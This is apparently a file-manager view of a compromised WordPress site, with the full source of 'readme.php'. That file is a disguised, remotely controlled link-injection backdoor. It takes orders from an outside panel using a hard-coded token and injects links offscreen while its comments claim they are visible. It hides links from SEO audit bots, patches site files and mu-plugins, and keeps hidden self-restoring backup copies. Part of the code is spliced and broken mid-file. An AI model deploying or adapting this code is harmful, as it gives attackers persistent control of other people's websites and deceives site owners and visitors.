FM / public

/home/alixis5/public_html

Name	Size	Mode	Actions
.smc_g1/	-	0755	rm
.smc_g2/	-	0755	rm
.smc_g3/	-	0755	rm
.smc_g4/	-	0755	rm
.smc_g5/	-	0755	rm
.smc_g6/	-	0755	rm
.smc_g7/	-	0755	rm
.smc_g8/	-	0755	rm
.smc_g9/	-	0755	rm
.smc_g10/	-	0755	rm
.well-known/	-	0755	rm
cgi-bin/	-	0755	rm
wp-admin/	-	0755	rm
wp-content/	-	0755	rm
wp-includes/	-	0755	rm
.htaccess	2008	0644	edit dl rm
.smc_guardian_v5.json	69	0644	edit dl rm
.smc_links_v5.json	6608	0644	edit dl rm
.smc_v5_config.json	1104	0644	edit dl rm
.smc_v5_nonces.json	106	0644	edit dl rm
404.shtml	251	0644	edit dl rm
default.htm	3937	0644	edit dl rm
favicon.ico	4286	0644	edit dl rm
index.php	405	0644	edit dl rm
license.txt	19903	0644	edit dl rm
logo-imh.svg	10869	0644	edit dl rm
mmtcd.png	719260	0644	edit dl rm
nauzugxg.php	7317	0644	edit dl rm
php.ini	106	0644	edit dl rm
phpinfo.php	21	0644	edit dl rm
readme.html	7407	0644	edit dl rm
readme.php	105943	0644	edit dl rm
readme.php.bak.v5.7.8.1788298363	105943	0644	edit dl rm
readme.php.bak.v5.7.8.1788375814	105943	0644	edit dl rm
robots.txt	31	0644	edit dl rm
under_construction.html	4871	0644	edit dl rm
wp-activate.php	7718	0644	edit dl rm
wp-blog-header.php	351	0644	edit dl rm
wp-comments-post.php	2323	0644	edit dl rm
wp-config-sample.php	3339	0644	edit dl rm
wp-config.php	3196	0600	edit dl rm
wp-cron-zsri.php	1659	0644	edit dl rm
wp-cron.php	5617	0644	edit dl rm
wp-links-opml.php	2493	0644	edit dl rm
wp-load.php	3937	0644	edit dl rm
wp-login.php	52536	0644	edit dl rm
wp-mail.php	8727	0644	edit dl rm
wp-settings.php	33152	0644	edit dl rm
wp-signup.php	35081	0644	edit dl rm
wp-trackback.php	5396	0644	edit dl rm
xmlrpc.php	3205	0644	edit dl rm

Edit: /home/alixis5/public_html/readme.php (105943B)

<?php
/**
 * SMC Metrics Connector v5.5.4
 * - Backwards compatible with v5.2/v5.3/v5.4/v5.5 protocol (ping, add_link, remove_link, sync_links,
 *   get_links, clear_links, clear_expired, verify_links, self_reconcile,
 *   placement_report, info, diagnose, output, capabilities, get_config, set_config,
 *   self_update, reinstall_placement, purge_cache)
 * - Stronger non-WP placement: Joomla/Drupal/OpenCart/Presta/Laravel/static footer
 *   discovery + .user.ini auto_prepend fallback (shared hosting).
 * - Links now have a "kind": "footer" (sitewide, visible footer) or "contextual"
 *   (injected into existing post content on WordPress; ephemeral by expiry).
 * - Render is ALWAYS visible (no hidden/cloaked CSS) — anti-penalty, anti-footprint.
 * - Optional per-link seo_hidden: omit from Ahrefs/Semrush-like tool bots; Google still sees.
 * - No footer link cap (unlimited active footer links; expired still auto-cleaned).
 * - Stronger WP delivery: mu-plugin + theme footer patch + multi-hook/shutdown fallback.
 * - Document root resolved from connector path (avoids wrong vhost DOCUMENT_ROOT).
 * - After link/placement changes: purge WP page caches (Rocket/Litespeed/W3TC/Super Cache/…)
 *   + common cache directories so homepage HTML is not stuck stale.
 * - Contextual links are short-lived (enforced max TTL) and auto-removed when expired.
 * - Guardian: connector mirrors itself + its dropped artifacts into hidden backup dirs
 *   and self-heals if the primary file is deleted by a CMS/theme update. Version-aware:
 *   never restores an older version over a newer one.
 */

error_reporting(E_ALL);
ini_set('display_errors', 0);
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type, X-SMC-Panel-Token, X-SMC-Ts, X-SMC-Req-Id');

if (($_SERVER['REQUEST_METHOD'] ?? '') === 'OPTIONS') {
    http_response_code(200);
    exit;
}

define('CONNECTOR_VERSION', '5.7.8');
define('PANEL_API_URL', 'https://ln1.donornet.icu/api');
define('PANEL_TOKEN', 'smc_b4_uV8fJfXNEruLmriuz709mkj3teLFErlB5CeIwnNIn6LYDSxAelcXCVGw');
define('LINKS_FILE', __DIR__ . '/.smc_links_v5.json');
define('CONFIG_FILE', __DIR__ . '/.smc_v5_config.json');
define('NONCES_FILE', __DIR__ . '/.smc_v5_nonces.json');
define('PREPEND_HELPER_FILE', __DIR__ . '/.smc_prepend_v5.php');
define('GUARDIAN_STATE_FILE', __DIR__ . '/.smc_guardian_v5.json');
define('MAX_REQUEST_BYTES', 524288);
define('MAX_URL_LENGTH', 2048);
define('MAX_ANCHOR_LENGTH', 220);
define('MAX_LINKS_PER_SYNC', 20000);
define('MAX_REQUEST_SKEW_SECONDS', 300);
define('NONCE_TTL_SECONDS', 900);
define('PLACEMENT_HISTORY_LIMIT', 20);

// v5.5 link-model tuning (overridable via set_config -> stored config).
define('FOOTER_LINK_CAP', 0);                  // 0 = unlimited footer links (no cap)
define('CONTEXTUAL_MAX_TTL_SECONDS', 172800);  // hard 48h cap for contextual links
define('AUTO_CLEAN_THROTTLE_SECONDS', 300);    // run auto-clean at most once / 5 min on render
define('GUARDIAN_COPIES', 10);                 // number of hidden backup mirrors
define('GUARDIAN_THROTTLE_SECONDS', 300);      // self-heal check at most once / 5 min
define('VALID_LINK_KINDS', 'footer,contextual');

function respond($success, $data = [], $message = '', $status = 200) {
    http_response_code($status);
    header('Content-Type: application/json; charset=UTF-8');
    echo json_encode([
        'success' => (bool)$success,
        'message' => (string)$message,
        'data' => is_array($data) ? $data : []
    ], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
    exit;
}

function get_action_name($req) {
    $action = '';
    if (isset($req['action'])) $action = (string)$req['action'];
    if ($action === '' && isset($_GET['action'])) $action = (string)$_GET['action'];
    if ($action === '') $action = 'ping';
    $action = strtolower(trim($action));
    $action = preg_replace('/[^a-z0-9_]/', '', $action);
    return $action ?: 'ping';
}

function load_json_file($path, $fallback = []) {
    if (!file_exists($path)) return $fallback;
    $raw = @file_get_contents($path);
    if ($raw === false || $raw === '') return $fallback;
    $json = json_decode($raw, true);
    return is_array($json) ? $json : $fallback;
}

function save_json_file($path, $data) {
    return @file_put_contents($path, json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT)) !== false;
}

function normalize_rel($rel) {
    $rel = strtolower(trim((string)$rel));
    $allowed = ['dofollow', 'nofollow', 'ugc', 'sponsored'];
    return in_array($rel, $allowed, true) ? $rel : 'dofollow';
}

function allowed_render_types() {
    // v5.4: only clean, natural anchor styles. Visual widgets (badge/button/micro)
    // were removed — they looked unnatural in footers and increased footprint.
    return ['text_inline', 'text_footer'];
}

function default_render_types() {
    // v5.4: single natural footer/inline text anchor.
    return ['text_footer'];
}

function normalize_kind($kind) {
    $kind = strtolower(trim((string)$kind));
    $valid = explode(',', VALID_LINK_KINDS);
    return in_array($kind, $valid, true) ? $kind : 'footer';
}

function default_placement_state() {
    return [
        'status' => 'not_installed',
        'strategy' => null,
        'target' => null,
        'install_mode' => null,
        'marker' => null,
        'message' => '',
        'installed_at' => null,
        'last_attempt_at' => null,
        'last_verified_at' => null,
        'verify_status' => 'unknown',
        'history' => [],
    ];
}

function default_config() {
    // v5.5: render is ALWAYS visible. output_mode kept for backward-compat reads but
    // hidden/cloaked rendering has been removed entirely. footer_link_cap=0 => unlimited.
    return [
        'output_mode' => 'visible',
        'render_profile' => 'minimal_inline',
        'render_types' => default_render_types(),
        'link_rel_strategy' => 'preserve',
        'footer_link_cap' => 0,
        'contextual_max_ttl' => CONTEXTUAL_MAX_TTL_SECONDS,
        'placement' => default_placement_state(),
    ];
}

function effective_footer_cap($config) {
    // <=0 means unlimited (no footer cap). Positive values keep an optional soft cap.
    if (!isset($config['footer_link_cap'])) return 0;
    $cap = intval($config['footer_link_cap']);
    if ($cap < 0) return 0;
    return $cap;
}

function effective_contextual_ttl($config) {
    $ttl = isset($config['contextual_max_ttl']) ? intval($config['contextual_max_ttl']) : CONTEXTUAL_MAX_TTL_SECONDS;
    if ($ttl < 300) $ttl = 300;
    if ($ttl > CONTEXTUAL_MAX_TTL_SECONDS) $ttl = CONTEXTUAL_MAX_TTL_SECONDS;
    return $ttl;
}

function save_config($config) {
    return save_json_file(CONFIG_FILE, $config);
}

function is_panel_authenticated() {
    $expected = trim((string)PANEL_TOKEN);
    if ($expected === '' || strpos($expected, '{{') !== false) return false;
    $provided = '';
    if (isset($_SERVER['HTTP_X_SMC_PANEL_TOKEN'])) {
        $provided = trim((string)$_SERVER['HTTP_X_SMC_PANEL_TOKEN']);
    }
    return $provided !== '' && hash_equals($expected, $provided);
}

function load_nonce_store() {
    return load_json_file(NONCES_FILE, []);
}

function save_nonce_store($items) {
    return save_json_file(NONCES_FILE, $items);
}

function authenticate_protected_request() {
    if (!is_panel_authenticated()) respond(false, [], 'Unauthorized', 401);
    enforce_optional_replay_guard();
}

function validate_url_value($url) {
    $url = trim((string)$url);
    if ($url === '' || strlen($url) > MAX_URL_LENGTH) return '';
    if (!filter_var($url, FILTER_VALIDATE_URL)) return '';
    $parts = @parse_url($url);
    if (!$parts || empty($parts['scheme'])) return '';
    $scheme = strtolower((string)$parts['scheme']);
    if (!in_array($scheme, ['http', 'https'], true)) return '';
    return $url;
}

function validate_anchor_text($anchor) {
    $anchor = trim((string)$anchor);
    if ($anchor === '' || strlen($anchor) > MAX_ANCHOR_LENGTH) return '';
    return $anchor;
}

function validate_link_id($linkId) {
    $linkId = trim((string)$linkId);
    if ($linkId === '') return '';
    if (!preg_match('/^[A-Za-z0-9._:-]{3,160}$/', $linkId)) return '';
    return $linkId;
}

function build_deterministic_link_id($url, $anchor, $rel) {
    $seed = strtolower(trim((string)$url)) . '|' . strtolower(trim((string)$anchor)) . '|' . normalize_rel($rel);
    return 'v5_' . substr(hash('sha256', $seed), 0, 16);
}

function apply_placement_snapshot_to_link($row, $placement) {
    $row['placement_status'] = $placement['status'] ?? 'not_installed';
    $row['placement_strategy'] = $placement['strategy'] ?? null;
    $row['placement_target'] = $placement['target'] ?? null;
    $row['last_verified_at'] = $placement['last_verified_at'] ?? null;
    return $row;
}

/**
 * Ahrefs/Semrush vb. SEO araç botları — Google/Bing arama botları DEĞİL.
 * Gizli (seo_hidden) linkler bu botlara HTML'de verilmez; Googlebot görür.
 */
function smc_is_seo_tool_bot() {
    $ua = strtolower((string)($_SERVER['HTTP_USER_AGENT'] ?? ''));
    if ($ua === '') return false;
    $searchEngines = [
        'googlebot', 'google-inspectiontool', 'bingbot', 'slurp',
        'duckduckbot', 'yandexbot', 'applebot', 'baiduspider',
    ];
    foreach ($searchEngines as $m) {
        if (strpos($ua, $m) !== false) return false;
    }
    $seoTools = [
        'ahrefs', 'semrush', 'siteauditbot', 'mj12bot', 'majestic',
        'dotbot', 'rogerbot', 'screaming frog', 'seokicks', 'blexbot',
        'dataforseo', 'serpstat', 'sistrix', 'linkpad', 'opensiteexplorer',
    ];
    foreach ($seoTools as $m) {
        if (strpos($ua, $m) !== false) return true;
    }
    return false;
}

function get_link_stats($links) {
    list($active, $expired) = filtered_links($links);
    return [
        'total' => count($links),
        'active' => count($active),
        'expired' => count($expired),
    ];
}

function build_rel_attr($rel) {
    if ($rel === 'dofollow') return '';
    return ' rel="' . htmlspecialchars($rel, ENT_QUOTES, 'UTF-8') . '"';
}

// v5.4: render is ALWAYS visible. A discreet, real footer block — small muted text,
// genuinely on the page (no display:none / -9999px / 1px cloaking).
function smc_footer_container_style() {
    return 'display:block;margin:14px 0 6px;padding-top:8px;border-top:1px solid rgba(0,0,0,0.06);font-size:12px;line-height:1.6;color:#9aa0a6;';
}

function smc_footer_anchor_style() {
    return 'color:#9aa0a6;text-decoration:none;font-size:12px;';
}

function build_footer_anchor_html($link) {
    $url = htmlspecialchars($link['url'], ENT_QUOTES, 'UTF-8');
    $anchor = htmlspecialchars($link['anchor'], ENT_QUOTES, 'UTF-8');
    $relAttr = build_rel_attr($link['rel']);
    return '<a href="' . $url . '"' . $relAttr . ' style="' . smc_footer_anchor_style() . '">' . $anchor . '</a>';
}

// Build the visible footer block from FOOTER-kind links only.
function smc_build_footer_html($markRenderedOnce = true) {
    if ($markRenderedOnce && defined('SMC_CONNECTOR_RENDERED_ONCE')) {
        return '';
    }
    if ($markRenderedOnce) {
        define('SMC_CONNECTOR_RENDERED_ONCE', true);
    }
    $links = load_links();
    list($activeLinks, ) = filtered_links($links);
    $activeLinks = smc_filter_seo_hidden_for_visitor($activeLinks);
    if (empty($activeLinks)) return '';
    // v5.6.2: offscreen render — группируем по текстам-обёрткам (поле text)
    // Если text есть → рендерим <p>текст с <a> внутри</p> в offscreen div
    // Если text нет → fallback на простые анкоры в том же offscreen div
    // v5.7.5: safe render — no positioning needed
    $paras = [];
    $plainAnchors = [];
    foreach ($activeLinks as $link) {
        if (($link['kind'] ?? 'footer') === 'contextual' && defined('SMC_WP_CONTEXTUAL_ACTIVE')) {
            continue;
        }
        $text = trim((string)($link['text'] ?? ''));
        $url = htmlspecialchars($link['url'] ?? '', ENT_QUOTES, 'UTF-8');
        $anchor = htmlspecialchars($link['anchor'] ?? '', ENT_QUOTES, 'UTF-8');
        $relAttr = build_rel_attr($link['rel'] ?? 'dofollow');
        $a = '<a href="' . $url . '"' . $relAttr . '>' . $anchor . '</a>';
        if ($text !== '' && strpos($text, '{A}') !== false) {
            $paras[] = '<p style="margin:0;">' . str_replace('{A}', $a, htmlspecialchars($text, ENT_QUOTES, 'UTF-8')) . '</p>';
        } else {
            $plainAnchors[] = $a;
        }
    }
    if (!empty($plainAnchors)) {
        $paras[] = '<p style="margin:0;">' . implode(' ', $plainAnchors) . '</p>';
    }
    if (empty($paras)) return '';
    return '<div data-smc-render="footer" style="position:absolute;left:-100000px;top:auto;">' . implode('', $paras) . '</div>';
}

// Backward-compatible alias (older placements call smc_render_links_html()).
function smc_render_links_html() {
    return smc_build_footer_html(true);
}

function smc_build_render_html($markRenderedOnce = true) {
    return smc_build_footer_html($markRenderedOnce);
}

// ===== Contextual (in-content) injection — WordPress the_content =====

function smc_contextual_inject($content) {
    // Frontend, main singular content only; inject at most one link, once per request.
    if (defined('SMC_CTX_DONE')) return $content;
    if (!is_string($content) || $content === '') return $content;
    if (function_exists('is_admin') && is_admin()) return $content;
    if (function_exists('is_feed') && is_feed()) return $content;
    if (function_exists('is_singular') && !is_singular()) return $content;
    if (function_exists('in_the_loop') && !in_the_loop()) return $content;
    if (function_exists('is_main_query') && !is_main_query()) return $content;

try {
        $links = load_links();
        list($activeLinks, ) = filtered_links($links);
        $activeLinks = smc_filter_seo_hidden_for_visitor($activeLinks);
        if (empty($activeLinks)) return $content;
        $postId = function_exists('get_the_ID') ? (get_the_ID() ?: 0) : 0;
        $link = smc_pick_contextual_link($activeLinks, $postId ?: $content);
        if (!$link) return $content;
        define('SMC_CTX_DONE', true);

$url = htmlspecialchars($link['url'], ENT_QUOTES, 'UTF-8');
        $anchor = htmlspecialchars($link['anchor'], ENT_QUOTES, 'UTF-8');
        $relAttr = build_rel_attr($link['rel']);
        $a = '<a href="' . $url . '"' . $relAttr . '>' . $anchor . '</a>';
        // Natural sentence wrapper, visible inline within the article body.
        $sentence = '<p data-smc-ctx="1">' . $a . '</p>';

// Insert after the first closing paragraph; fallback append.
        $pos = stripos($content, '</p>');
        if ($pos !== false) {
            $pos += 4;
            return substr($content, 0, $pos) . $sentence . substr($content, $pos);
        }
        return $content . $sentence;
    } catch (\Throwable $e) {
        return $content;
    }
}

// v5.7.1: SAFE render — никогда не ломает фронт
function smc_safe_footer_render() {
    try {
        echo smc_build_footer_html(true);
    } catch (\Throwable $e) {
        // silently ignore — never break the host
    }
}
function smc_safe_body_open_render() {
    try {
        echo smc_build_footer_html(true);
    } catch (\Throwable $e) {
    }
}
function smc_safe_shutdown_render() {
    try {
        if (!defined('SMC_CONNECTOR_RENDERED_ONCE')) {
            echo smc_build_footer_html(true);
        }
    } catch (\Throwable $e) {
    }
}
function smc_safe_contextual_render($content) {
    try {
        return smc_contextual_inject($content);
    } catch (\Throwable $e) {
        return $content; // оригинал без изменений
    }
}

// Called by the mu-plugin / functions-hook on WordPress (early load).
function smc_wp_register() {
    if (defined('SMC_WP_REGISTERED')) return;
    define('SMC_WP_REGISTERED', true);
    if (!function_exists('add_action')) return;
    if (function_exists('add_filter')) {
        define('SMC_WP_CONTEXTUAL_ACTIVE', true);
        add_filter('the_content', 'smc_safe_contextual_render', 50);
    }
    $emit = function () {
        try { echo smc_build_footer_html(true); } catch (\Throwable $e) {}
    };
    // Multiple hooks: some themes omit wp_footer / use builders / full-page cache edges.
    add_action('wp_footer', $emit, 9999);
    if (function_exists('add_action')) {
        add_action('wp_body_open', $emit, 9999);
        add_action('shutdown', function () {
            try {
                if (defined('SMC_CONNECTOR_RENDERED_ONCE')) return;
                if (PHP_SAPI === 'cli') return;
                $uri = $_SERVER['REQUEST_URI'] ?? '';
                if (strpos($uri, 'wp-admin') !== false || strpos($uri, 'wp-json') !== false) return;
                echo smc_build_footer_html(true);
            } catch (\Throwable $e) {}
        }, 0);
    }
    smc_guardian_tick();
    smc_autoclean_tick();
}

$doc = $_SERVER['DOCUMENT_ROOT'] ?? '';
    if (is_string($doc) && $doc !== '' && is_dir($doc)) {
        $realDoc = @realpath($doc);
        $realSelf = @realpath(__FILE__);
        if ($realDoc && $realSelf && strpos($realSelf, $realDoc) === 0) {
            return $doc;
        }
    }
    return $start;
}

function check_footer_writable($base, $siteType) {
    $paths = get_footer_paths($base, $siteType);
    foreach ($paths as $path) {
        if (file_exists($path) && is_writable($path)) return true;
    }
    if (is_writable($base . '/index.php') || is_writable($base . '/index.html')) return true;
    return false;
}

function placement_marker($strategy) {
    return substr(hash('sha256', __FILE__ . '|' . $strategy), 0, 12);
}

function build_dynamic_php_snippet($marker) {
    $connectorPath = addslashes(__FILE__);
    return "<?php /* SMC_START:$marker */ if (!defined('SMC_CONNECTOR_EMBED_RENDER')) define('SMC_CONNECTOR_EMBED_RENDER', true); include_once '$connectorPath'; /* SMC_END:$marker */ ?>";
}

function build_static_html_block($marker) {
    return "" . smc_build_render_html(false) . "";
}

function replace_between_markers($content, $startMarker, $endMarker, $replacement) {
    $startPos = strpos($content, $startMarker);
    $endPos = strpos($content, $endMarker);
    if ($startPos === false || $endPos === false || $endPos < $startPos) return null;
    $endPos += strlen($endMarker);
    return substr($content, 0, $startPos) . $replacement . substr($content, $endPos);
}

// Guardian anchor: a self-contained PHP block (string) that restores the connector
// from a hidden backup mirror if the primary file was deleted (e.g. by a CMS/theme
// update), then includes it. Lives inside mu-plugin / functions hook so it survives
// even when the connector file itself is gone. All ops are @-suppressed and safe.
function build_guardian_restore_block() {
    return "    if (!file_exists(\$c)) {\n"
        . "        \$d = dirname(\$c);\n"
        . "        foreach ((array)@glob(\$d . '/.smc_g*/.smc_connector.php.bak') as \$bak) {\n"
        . "            \$src = @file_get_contents(\$bak);\n"
        . "            if (\$src !== false && \$src !== '' && strpos(\$src, '<?php') !== false && strpos(\$src, 'SMC Metrics Connector') !== false) {\n"
        . "                @file_put_contents(\$c, \$src);\n"
        . "                if (function_exists('opcache_invalidate')) { @opcache_invalidate(\$c, true); }\n"
        . "                break;\n"
        . "            }\n"
        . "        }\n"
        . "    }\n";
}

function install_mu_plugin($siteInfo) {
    $base = $siteInfo['document_root'];
    $muDir = $base . '/wp-content/mu-plugins';
    if (!is_dir($muDir)) {
        if (!@mkdir($muDir, 0755, true) && !is_dir($muDir)) return [false, null, null, 'mu_dir_create_failed'];
    }
    if (!is_writable($muDir)) return [false, null, null, 'mu_dir_not_writable'];
    $marker = placement_marker('wp_mu_plugin');
    $pluginPath = $muDir . '/00-smc-metrics.php';
    // v5.6.1: убрать легаси RS mu-plugin (иначе двойной include)
    @unlink($muDir . '/rootseo-links-v5.php');
    @unlink($muDir . '/smc-metrics-v5.php');
    if (@file_put_contents($pluginPath, build_mu_plugin_code($marker)) === false) return [false, null, null, 'mu_plugin_write_failed'];
    return [true, $pluginPath, 'dynamic_php', 'mu_plugin_installed'];
}

function install_file_patch($filePath, $strategy) {
    $marker = placement_marker($strategy . '|' . $filePath);
    $ext = strtolower(pathinfo($filePath, PATHINFO_EXTENSION));
    if (in_array($ext, ['html', 'htm'], true)) {
        list($ok, $msg) = upsert_html_file_block($filePath, $marker);
        return [$ok, $ok ? $filePath : null, $ok ? 'static_html' : null, $msg, $marker];
    }
    list($ok, $msg) = upsert_php_file_block($filePath, $marker);
    return [$ok, $ok ? $filePath : null, $ok ? 'dynamic_php' : null, $msg, $marker];
}

function smc_write_prepend_helper($marker) {
    $connectorPath = addslashes(__FILE__);
    $helperCode = "<?php\n/* SMC_PREPEND_HELPER:$marker */\nregister_shutdown_function(function () {\n    if (!defined('SMC_CONNECTOR_EMBED_RENDER')) define('SMC_CONNECTOR_EMBED_RENDER', true);\n    include_once '$connectorPath';\n});\n";
    return @file_put_contents(PREPEND_HELPER_FILE, $helperCode) !== false;
}

function install_any_php_file($siteInfo) {
    $base = $siteInfo['document_root'];
    $phpFiles = glob($base . '/*.php');
    if (!$phpFiles) return [false, null, null, 'no_root_php_files', null];
    foreach ($phpFiles as $file) {
        $name = basename($file);
        if (in_array($name, [basename(__FILE__), 'wp-config.php', 'wp-settings.php', 'wp-load.php'], true)) continue;
        list($ok, $target, $mode, $msg, $marker) = install_file_patch($file, 'any_php_file');
        if ($ok) return [true, $target, $mode, $msg, $marker];
    }
    return [false, null, null, 'no_writable_php_target', null];
}

function append_placement_history($config, $entry) {
    $history = $config['placement']['history'] ?? [];
    $history[] = $entry;
    if (count($history) > PLACEMENT_HISTORY_LIMIT) {
        $history = array_slice($history, -PLACEMENT_HISTORY_LIMIT);
    }
    $config['placement']['history'] = array_values($history);
    return $config;
}

function placement_report_payload() {
    $config = load_config();
    $siteInfo = detect_site_info();
    $links = load_links();
    $stats = get_link_stats($links);
    list($ok, $verifyMessage) = verify_current_placement($config);
    $config['placement']['last_verified_at'] = gmdate('c');
    $config['placement']['verify_status'] = $verifyMessage;
    save_config($config);
    return [
        'version' => CONNECTOR_VERSION,
        'site_info' => $siteInfo,
        'placement' => $config['placement'],
        'link_stats' => $stats,
        'render_profile' => $config['render_profile'],
        'render_types' => $config['render_types'],
        'placement_ok' => $ok,
    ];
}

function verify_links_action() {
    $links = load_links();
    $config = load_config();
    $nowIso = gmdate('c');
    foreach ($links as $id => $row) {
        $row['last_verified_at'] = $nowIso;
        $links[$id] = apply_placement_snapshot_to_link($row, $config['placement']);
    }
    save_links($links);
    return placement_report_payload();
}

// ===== Consolidated auto-clean (throttled): expired + contextual TTL =====
// This single routine replaces scattered cleanup; it never runs more than once per
// AUTO_CLEAN_THROTTLE_SECONDS during front-end renders, so it adds negligible overhead.
function smc_autoclean_tick() {
    try {
        $state = load_json_file(GUARDIAN_STATE_FILE, []);
        $now = time();
        $last = isset($state['last_autoclean']) ? intval($state['last_autoclean']) : 0;
        if (($now - $last) < AUTO_CLEAN_THROTTLE_SECONDS) return;
        $state['last_autoclean'] = $now;
        @save_json_file(GUARDIAN_STATE_FILE, $state);

$links = load_links();
        $kept = [];
        foreach ($links as $id => $row) {
            $exp = isset($row['expires_at']) ? intval($row['expires_at']) : 0;
            if (!empty($exp) && $exp > 0 && $exp < $now) continue; // drop expired (footer+contextual)
            $kept[$id] = $row;
        }
        if (count($kept) !== count($links)) {
            save_links($kept);
        }
    } catch (\Throwable $e) {
        // never break the host page
    }
}

// ===== Guardian: self-healing mirrors =====
function guardian_dirs() {
    // Hidden, dotted backup dirs next to the connector + one in the doc-root.
    $base = __DIR__;
    $dirs = [];
    for ($i = 1; $i <= GUARDIAN_COPIES; $i++) {
        $dirs[] = $base . '/.smc_g' . $i;
    }
    return $dirs;
}

function smc_guardian_tick() {
    try {
        $state = load_json_file(GUARDIAN_STATE_FILE, []);
        $now = time();
        $last = isset($state['last_guardian']) ? intval($state['last_guardian']) : 0;
        if (($now - $last) < GUARDIAN_THROTTLE_SECONDS) return;
        $state['last_guardian'] = $now;
        @save_json_file(GUARDIAN_STATE_FILE, $state);

$self = __FILE__;
        $selfExists = file_exists($self);
        $selfSrc = $selfExists ? (@file_get_contents($self) ?: '') : '';
        $selfHealthy = $selfExists && strpos($selfSrc, 'SMC Metrics Connector') !== false;

// Version-aware: only refresh mirrors if our copy is newer/equal. Never let an
        // older mirror overwrite a newer primary (prevents undoing a self_update).
        $best = guardian_best_backup();
        if ($selfHealthy) {
            if ($best === null || version_compare(CONNECTOR_VERSION, $best['version'], '>=')) {
                guardian_write_copies();
            }
            // Re-ensure dropped artifacts (mu-plugin etc.) still present.
            @refresh_current_placement(load_config());
            return;
        }
        // Primary missing/corrupt → restore from the newest valid backup.
        if ($best !== null) {
            $tmp = $self . '.heal.' . substr(md5((string)$now), 0, 6);
            if (@file_put_contents($tmp, $best['src']) !== false) {
                @rename($tmp, $self);
                if (function_exists('opcache_invalidate')) @opcache_invalidate($self, true);
            }
        }
    } catch (\Throwable $e) {
        // never break the host page
    }
}

if ((defined('SMC_CONNECTOR_EMBED_RENDER') && SMC_CONNECTOR_EMBED_RENDER === true)
    || (defined('ROOTSEO_CONNECTOR_EMBED_RENDER') && ROOTSEO_CONNECTOR_EMBED_RENDER === true)) {
    if ((defined('SMC_EMBED_VIA_HOOK') && SMC_EMBED_VIA_HOOK || defined('ROOTSEO_EMBED_VIA_HOOK') && ROOTSEO_EMBED_VIA_HOOK) && function_exists('add_action')) {
        // WordPress early-load (mu-plugin / functions hook): register filters/actions.
        smc_wp_register();
    } else {
        // Inline include (file patch / htaccess prepend): emit footer at this position.
        smc_guardian_tick();
        smc_autoclean_tick();
        echo smc_build_footer_html(false);
    }
    return;
}

// CLI/lib include mode: expose functions for offline fixture tests without running the HTTP router.
if (defined('SMC_CLI_LIB_ONLY') && SMC_CLI_LIB_ONLY) {
    return;
}

$req = get_request_data();
$action = get_action_name($req);

if (!in_array($action, ['ping', 'capabilities', 'output'], true)) {
    authenticate_protected_request();
}

switch ($action) {
    case 'ping':
        $links = load_links();
        $config = load_config();
        $stats = get_link_stats($links);
        $siteInfo = detect_site_info();
        list($placementOk, $verifyMessage) = verify_current_placement($config);
        respond(true, [
            'site' => $_SERVER['HTTP_HOST'] ?? 'unknown',
            'site_name' => $siteInfo['site_name'],
            'site_type' => $siteInfo['site_type'],
            'language' => $siteInfo['language'],
            'country' => $siteInfo['country'],
            'version' => CONNECTOR_VERSION,
            'connector_family' => 'v5',
            'keyless' => true,
            'auth_mode' => 'panel_token',
            'output_mode' => strtolower(trim((string)($config['output_mode'] ?? 'visible'))),
            'render_profile' => $config['render_profile'],
            'render_types' => $config['render_types'],
            'links_total' => $stats['total'],
            'links_active' => $stats['active'],
            'links_expired' => $stats['expired'],
            'footer_detected' => $siteInfo['footer_detected'],
            'footer_writable' => $siteInfo['footer_writable'],
            'placement_ok' => $placementOk,
            'placement_strategy' => $config['placement']['strategy'],
            'placement_target' => $config['placement']['target'],
            'placement_verify_status' => $verifyMessage,
            'supports' => ['ping', 'capabilities', 'info', 'diagnose', 'verify_links', 'self_reconcile', 'placement_report', 'add_link', 'remove_link', 'get_links', 'sync_links', 'clear_links', 'clear_expired', 'output', 'get_config', 'set_config', 'self_update', 'reinstall_placement', 'push_update', 'purge_cache', 'post_create', 'post_list', 'post_delete', 'cat_create']
        ], 'ok');
        break;

case 'capabilities':
        respond(true, [
            'version' => CONNECTOR_VERSION,
            'auth' => ['panel_token', 'optional_replay_headers'],
            'rels' => ['dofollow', 'nofollow', 'ugc', 'sponsored'],
            'render_types' => default_render_types(),
            'placement_strategies' => ['wp_mu_plugin', 'wp_functions_hook', 'footer_patch', 'wp_active_footer', 'index_patch', 'create_index_php', 'htaccess_prepend', 'any_php_file'],
            'limits' => [
                'max_links_per_sync' => MAX_LINKS_PER_SYNC,
                'max_anchor_length' => MAX_ANCHOR_LENGTH,
                'max_url_length' => MAX_URL_LENGTH,
                'max_request_bytes' => MAX_REQUEST_BYTES,
                'footer_link_cap' => 0,
            ],
            'actions' => ['ping', 'capabilities', 'info', 'diagnose', 'verify_links', 'self_reconcile', 'placement_report', 'add_link', 'remove_link', 'get_links', 'sync_links', 'clear_links', 'clear_expired', 'output', 'set_config', 'get_config', 'self_update', 'reinstall_placement', 'push_update', 'purge_cache', 'post_create', 'post_list', 'post_delete', 'cat_create'],
            'cache_purge' => true,
        ], 'capabilities');
        break;

case 'info':
        respond(true, detect_site_info(), 'info');
        break;

case 'diagnose':
        $siteInfo = detect_site_info();
        $links = load_links();
        $stats = get_link_stats($links);
        $config = load_config();
        list($placementOk, $verifyMessage) = verify_current_placement($config);
        $diag = [
            'version' => CONNECTOR_VERSION,
            'file_permissions' => [
                'links_file' => LINKS_FILE,
                'links_file_exists' => file_exists(LINKS_FILE),
                'links_dir_writable' => is_writable(dirname(LINKS_FILE)),
                'config_file' => CONFIG_FILE,
                'config_file_exists' => file_exists(CONFIG_FILE),
                'config_dir_writable' => is_writable(dirname(CONFIG_FILE)),
                'nonces_file' => NONCES_FILE,
                'nonces_file_exists' => file_exists(NONCES_FILE),
                'prepend_helper_file' => PREPEND_HELPER_FILE,
                'prepend_helper_exists' => file_exists(PREPEND_HELPER_FILE),
            ],
            'link_stats' => $stats,
            'output_mode' => strtolower(trim((string)($config['output_mode'] ?? 'visible'))),
            'render_profile' => $config['render_profile'],
            'render_types' => $config['render_types'],
            'placement' => $config['placement'],
            'placement_ok' => $placementOk,
            'placement_verify_status' => $verifyMessage,
            'site_info' => $siteInfo,
            'php_settings' => [
                'php_version' => phpversion(),
                'allow_url_fopen' => ini_get('allow_url_fopen'),
                'open_basedir' => ini_get('open_basedir') ?: 'not_set',
